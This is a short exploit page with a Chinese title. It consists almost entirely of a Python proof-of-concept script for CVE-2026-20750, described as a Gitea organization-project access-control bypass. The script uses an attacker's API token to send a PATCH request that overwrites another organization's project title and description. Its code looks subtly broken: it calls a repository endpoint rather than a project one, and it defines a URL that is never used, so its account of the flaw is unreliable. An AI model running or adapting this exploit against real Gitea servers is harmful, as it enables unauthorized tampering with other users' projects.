CVE-2026-20750: Gitea组织项目访问控制绕过漏洞

# CVE-2026-20750 PoC - Gitea组织项目访问控制绕过 # This PoC demonstrates the access control bypass in Gitea organization project operations import requests import json TARGET_URL = "http://target-gitea-instance.com" ATTACKER_TOKEN = "attacker_access_token" TARGET_ORG_PROJECT_ID = "victim-org-project-id-to-modify" ATTACKER_ORG_PROJECT_ID = "attacker-org-project-id" def exploit_cve_2026_20750(): """ Exploit for CVE-2026-20750: Gitea improper project ownership validation Attacker with write access to one org project can modify projects in different org """ headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Identify attacker-controlled project in one organization attacker_project = f"{TARGET_URL}/api/v1/repos/attacker-org/{ATTACKER_ORG_PROJECT_ID}" # Step 2: Craft request to modify victim organization project # The vulnerability allows modifying project settings by specifying target project ID exploit_payload = { "title": "Modified by Attacker via CVE-2026-20750", "description": "This project was modified due to improper access control validation" } # Step 3: Send modification request with victim project ID # System fails to validate project ownership properly modify_url = f"{TARGET_URL}/api/v1/repos/{TARGET_ORG_PROJECT_ID}" response = requests.patch(modify_url, headers=headers, json=exploit_payload) if response.status_code == 200: print("[+] SUCCESS: Project modified without proper authorization!") print(f"[+] Modified project: {TARGET_ORG_PROJECT_ID}") return True else: print(f"[-] Failed: Status {response.status_code}") return False if __name__ == "__main__": print("CVE-2026-20750 Gitea Access Control Bypass PoC") exploit_cve_2026_20750()